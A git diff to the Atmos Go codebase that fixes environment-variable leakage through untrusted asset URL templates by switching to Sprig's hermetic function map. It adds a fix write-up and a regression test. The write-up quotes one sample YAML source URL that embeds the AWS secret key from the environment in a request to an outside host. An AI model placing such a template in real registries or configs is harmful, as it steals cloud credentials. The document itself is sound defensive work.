diff --git a/docs/fixes/2026-04-01-sprig-env-exfiltration.md b/docs/fixes/2026-04-01-sprig-env-exfiltration.md
new file mode 100644
index 0000000000..39603480d2
--- /dev/null
+++ b/docs/fixes/2026-04-01-sprig-env-exfiltration.md
@@ -0,0 +1,95 @@
+# Sprig `env`/`expandenv` Exfiltration via Untrusted Templates
+
+**Date:** 2026-04-01
+**Severity:** Medium — CWE-526 (Cleartext Storage of Sensitive Information in Environment Variables)
+**Scope:** Asset URL templates (Aqua registry, installer) — NOT stack templates (intentional feature)
+
+**Files fixed:**
+- `pkg/toolchain/installer/asset.go` (asset URL template rendering — was `TxtFuncMap` with no env cleanup)
+- `pkg/toolchain/registry/aqua/aqua.go` (Aqua registry asset templates — was `TxtFuncMap` + manual `delete()`)
+
+**Files updated (security improvement, backward-compatible):**
+- `internal/exec/template_utils.go` — Sprig base switched to `HermeticTxtFuncMap`; `env`/`expandenv` re-added explicitly
+- `pkg/locals/resolver.go` — Sprig base switched to `HermeticTxtFuncMap`; `env`/`expandenv` re-added explicitly
+
+---
+
+## Symptom
+
+An Aqua registry YAML file or asset URL template containing:
+
+```yaml
+source: 'https://example.com/download?token={{ env "AWS_SECRET_ACCESS_KEY" }}'
+```
+
+would have been rendered successfully, allowing a remote/community registry template to read
+arbitrary process environment variables (credentials, tokens) at install time.
+
+---
+
+## Root Cause
+
+Multiple template rendering paths used `sprig.TxtFuncMap()` (or `sprig.FuncMap()`), which
+includes `env`, `expandenv`, and `getHostByName`.
+
+Sprig ships a hermetic variant specifically for untrusted-template contexts:
+
+| Function | Exposes `env`/`expandenv` |
+|----------|--------------------------|
+| `sprig.FuncMap()` | **Yes** |
+| `sprig.TxtFuncMap()` | **Yes** |
+| `sprig.HermeticTxtFuncMap()` | **No** — intentionally omitted |
+
+### Aqua registry templates (untrusted — now fixed)
+
+`pkg/toolchain/installer/asset.go` and `pkg/toolchain/registry/aqua/aqua.go` render asset
+URL templates from remote Aqua registries. These templates are partially untrusted and should
+not be able to read arbitrary env vars. The `aqua.go` code attempted to mitigate this via
+manual `delete(funcs, "env")` but this pattern is fragile. Both files now use
+`sprig.HermeticTxtFuncMap()` directly.
+
+### Stack templates (trusted — env is an intentional feature)
+
+`internal/exec/template_utils.go` and `pkg/locals/resolver.go` render Atmos stack manifests.
+`{{ env "KEY" }}` is a **documented, intentional feature** of Atmos stack templates, used e.g.
+to inject git tokens in `vendor.yaml` source URLs or to embed the current user in stack vars.
+
+The Sprig base is now `HermeticTxtFuncMap()` (removing other OS/network side-effects like
+`getHostByName`) but `env` and `expandenv` are **explicitly re-added** as a deliberate design
+decision, not inherited from the full Sprig map.
+
+---
+
+## Fix
+
+### Aqua registry / installer templates (untrusted — full env removal)
+
+```go
+// pkg/toolchain/installer/asset.go — after
+funcs := sprig.HermeticTxtFuncMap() // env/expandenv omitted
+
+// pkg/toolchain/registry/aqua/aqua.go — after (manual deletes replaced)
+funcs := sprig.HermeticTxtFuncMap() // env/expandenv/getHostByName omitted
+```
+
+### Stack templates (trusted — explicit re-provision)
+
+```go
+// internal/exec/template_utils.go — getSprigFuncMap uses HermeticTxtFuncMap
+// getEnvFuncMap explicitly provides env/expandenv for stack templates
+func getEnvFuncMap() template.FuncMap {
+ return template.FuncMap{
+ "env": os.Getenv,
+ "expandenv": os.ExpandEnv,
+ }
+}
+// Assembled: gomplate + hermetic sprig + explicit env + atmos funcmap
+funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), getEnvFuncMap(), FuncMap(...))
+```
+
+---
+
+## Related
+
+- Sprig docs: — "Hermetic" section
+- CWE-526:
diff --git a/docs/prd/exit-codes.md b/docs/prd/exit-codes.md
index b7a7cd50d3..58c7e094fc 100644
--- a/docs/prd/exit-codes.md
+++ b/docs/prd/exit-codes.md
@@ -40,7 +40,7 @@ Atmos follows POSIX.1-2017 and Linux Standard Base (LSB) conventions:
- [POSIX Exit Status](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_08_02)
- [Linux Standard Base - Exit Codes](https://refspecs.linuxfoundation.org/LSB_5.0.0/LSB-Core-generic/LSB-Core-generic/iniscrptact.html)
-- [sysexits.h](https://man.openbsd.org/sysexits) - BSD exit codes
+- [sysexits.h](https://www.freebsd.org/cgi/man.cgi?query=sysexits&sektion=3) - BSD exit codes
- [Bash Exit Codes](https://www.gnu.org/software/bash/manual/html_node/Exit-Status.html)
## Atmos Exit Code Mapping
diff --git a/internal/exec/template_utils.go b/internal/exec/template_utils.go
index dd2b6cc0c4..a23e7548f4 100644
--- a/internal/exec/template_utils.go
+++ b/internal/exec/template_utils.go
@@ -38,17 +38,43 @@ const (
logKeyTemplate = "template"
)
-// getSprigFuncMap returns a cached copy of the sprig function map.
+// getSprigFuncMap returns a cached copy of the sprig hermetic function map.
// Sprig function maps are expensive to create (173MB+ allocations) and immutable,
// so we cache and reuse them across template operations.
// This optimization reduces heap allocations by ~3.76% (173MB) per profile run.
+//
+// We use HermeticTxtFuncMap instead of FuncMap to exclude non-pure side-effectful
+// functions like env/expandenv/getHostByName from the Sprig base. The env and
+// expandenv functions are instead provided explicitly via getEnvFuncMap, which
+// is a deliberate design decision: stack templates legitimately need env var access
+// (e.g. {{ env "GITHUB_TOKEN" }} in vendor.yaml, {{ env "USER" }} in stack manifests).
+// For untrusted-template contexts (Aqua registry, asset URL templates) use only
+// HermeticTxtFuncMap without getEnvFuncMap.
func getSprigFuncMap() template.FuncMap {
sprigFuncMapCacheOnce.Do(func() {
- sprigFuncMapCache = sprig.FuncMap()
+ sprigFuncMapCache = sprig.HermeticTxtFuncMap()
})
return sprigFuncMapCache
}
+// getEnvFuncMap returns a FuncMap with env and expandenv functions.
+// These are provided separately from getSprigFuncMap so that:
+// 1. The Sprig base (HermeticTxtFuncMap) stays free of other OS/network side-effects.
+// 2. Stack templates that legitimately need {{ env "KEY" }} and {{ expandenv "$KEY" }}
+// get those functions via an explicit deliberate provision rather than inheriting
+// them from the full Sprig FuncMap.
+// 3. Untrusted-template contexts (asset URL templates, Aqua registry) can safely
+// use only HermeticTxtFuncMap without these functions.
+//
+// The env and expandenv functions shadow Gomplate's "env" namespace object, which
+// takes 0 arguments and is not compatible with {{ env "KEY" }} syntax used in Atmos.
+func getEnvFuncMap() template.FuncMap {
+ return template.FuncMap{
+ "env": os.Getenv,
+ "expandenv": os.ExpandEnv,
+ }
+}
+
// ProcessTmpl parses and executes Go templates.
func ProcessTmpl(
atmosConfig *schema.AtmosConfiguration,
@@ -67,7 +93,7 @@ func ProcessTmpl(
if cfg == nil {
cfg = &schema.AtmosConfiguration{}
}
- funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), FuncMap(cfg, &schema.ConfigAndStacksInfo{}, ctx, &d))
+ funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), getEnvFuncMap(), FuncMap(cfg, &schema.ConfigAndStacksInfo{}, ctx, &d))
t, err := template.New(tmplName).Funcs(funcs).Parse(tmplValue)
if err != nil {
@@ -311,6 +337,9 @@ func ProcessTmplWithDatasources(
// Sprig functions
if atmosConfig.Templates.Settings.Sprig.Enabled {
funcs = lo.Assign(funcs, getSprigFuncMap())
+ // Explicitly add env/expandenv since HermeticTxtFuncMap excludes them
+ // but they are a documented, intentional feature of Atmos stack templates.
+ funcs = lo.Assign(funcs, getEnvFuncMap())
}
// Atmos functions
diff --git a/internal/exec/template_utils_env_test.go b/internal/exec/template_utils_env_test.go
index 29dcda7fae..69f31777f7 100644
--- a/internal/exec/template_utils_env_test.go
+++ b/internal/exec/template_utils_env_test.go
@@ -199,7 +199,7 @@ func TestProcessTmplWithDatasources_EnvVarsFromConfig(t *testing.T) {
configAndStacksInfo := &schema.ConfigAndStacksInfo{}
settingsSection := schema.Settings{}
- // Template that reads the env var using Sprig's env function.
+ // Template that reads the env var using the env function (provided via getEnvFuncMap).
tmplValue := `
config:
profile: '{{ env "TEST_GOMPLATE_AWS_PROFILE" }}'
diff --git a/pkg/locals/resolver.go b/pkg/locals/resolver.go
index 4b4f1b617b..c1fa42e79f 100644
--- a/pkg/locals/resolver.go
+++ b/pkg/locals/resolver.go
@@ -12,6 +12,7 @@ package locals
import (
"bytes"
"fmt"
+ "os"
"sort"
"strings"
"text/template"
@@ -453,7 +454,19 @@ func (r *Resolver) resolveString(strVal, localName string) (any, error) {
context["locals"] = r.resolved
// Parse and execute the template.
- tmpl, err := template.New(localName).Funcs(sprig.FuncMap()).Parse(strVal)
+ // HermeticTxtFuncMap is used as the Sprig base to exclude non-pure side-effectful
+ // functions (e.g. getHostByName). env and expandenv are added back explicitly
+ // because they are a documented, intentional feature for locals templates
+ // (e.g. {{ env "HOME" | default "/tmp" }}).
+ envFuncMap := template.FuncMap{
+ "env": os.Getenv,
+ "expandenv": os.ExpandEnv,
+ }
+ funcMap := sprig.HermeticTxtFuncMap()
+ for k, v := range envFuncMap {
+ funcMap[k] = v
+ }
+ tmpl, err := template.New(localName).Funcs(funcMap).Parse(strVal)
if err != nil {
return nil, fmt.Errorf("failed to parse template for local %q in %s: %w", localName, r.filePath, err)
}
diff --git a/pkg/toolchain/installer/asset.go b/pkg/toolchain/installer/asset.go
index 64c3bd1cac..3b5eaf60ca 100644
--- a/pkg/toolchain/installer/asset.go
+++ b/pkg/toolchain/installer/asset.go
@@ -189,9 +189,11 @@ func buildTemplateData(tool *registry.Tool, version string) *assetTemplateData {
}
// assetTemplateFuncs returns the template functions for asset URL templates.
-// Uses Sprig v3 text functions as the base (matching Aqua upstream), with Aqua-specific overrides.
+// Uses Sprig v3 hermetic text functions as the base (matching Aqua upstream), with Aqua-specific overrides.
+// HermeticTxtFuncMap is used instead of TxtFuncMap to exclude env/expandenv, preventing
+// asset URL templates from reading arbitrary process environment variables (CWE-526).
func assetTemplateFuncs() template.FuncMap {
- funcs := sprig.TxtFuncMap()
+ funcs := sprig.HermeticTxtFuncMap()
// Override with Aqua-specific functions that have different argument order
// or behavior than Sprig equivalents.
diff --git a/pkg/toolchain/installer/asset_test.go b/pkg/toolchain/installer/asset_test.go
index 5ce701425a..e0f3ebc77e 100644
--- a/pkg/toolchain/installer/asset_test.go
+++ b/pkg/toolchain/installer/asset_test.go
@@ -963,3 +963,15 @@ func TestBuildTemplateData_WindowsArmEmulation(t *testing.T) {
assert.Equal(t, runtime.GOARCH, data.Arch, "WindowsArmEmulation should not affect Arch on non-windows-arm64")
}
}
+
+// TestAssetTemplateFuncs_EnvBlocked verifies that env and expandenv are not available
+// in asset URL templates, preventing exfiltration of process environment variables (CWE-526).
+func TestAssetTemplateFuncs_EnvBlocked(t *testing.T) {
+ funcs := assetTemplateFuncs()
+
+ _, hasEnv := funcs["env"]
+ assert.False(t, hasEnv, "env function must not be available in asset templates (CWE-526)")
+
+ _, hasExpandEnv := funcs["expandenv"]
+ assert.False(t, hasExpandEnv, "expandenv function must not be available in asset templates (CWE-526)")
+}
diff --git a/pkg/toolchain/registry/aqua/aqua.go b/pkg/toolchain/registry/aqua/aqua.go
index dfed4abde1..c55088dc4d 100644
--- a/pkg/toolchain/registry/aqua/aqua.go
+++ b/pkg/toolchain/registry/aqua/aqua.go
@@ -697,15 +697,11 @@ func buildAssetTemplateData(tool *registry.Tool, releaseVersion, semVer string)
}
// assetTemplateFuncs returns the template function map for asset URL templates.
-// Uses Sprig v3 text functions as the base (matching Aqua upstream), with Aqua-specific overrides.
+// Uses Sprig v3 hermetic text functions as the base (matching Aqua upstream), with Aqua-specific overrides.
+// HermeticTxtFuncMap excludes env, expandenv, and getHostByName, preventing remote registry
+// templates from reading process environment variables or performing DNS lookups (CWE-526).
func assetTemplateFuncs() template.FuncMap {
- funcs := sprig.TxtFuncMap()
-
- // Security: remove OS/network helpers that could leak secrets from remote registry templates.
- // Matches Helm and Argo CD which also remove these from Sprig.
- delete(funcs, "env")
- delete(funcs, "expandenv")
- delete(funcs, "getHostByName")
+ funcs := sprig.HermeticTxtFuncMap()
// Override with Aqua-specific functions that have different argument order
// or behavior than Sprig equivalents.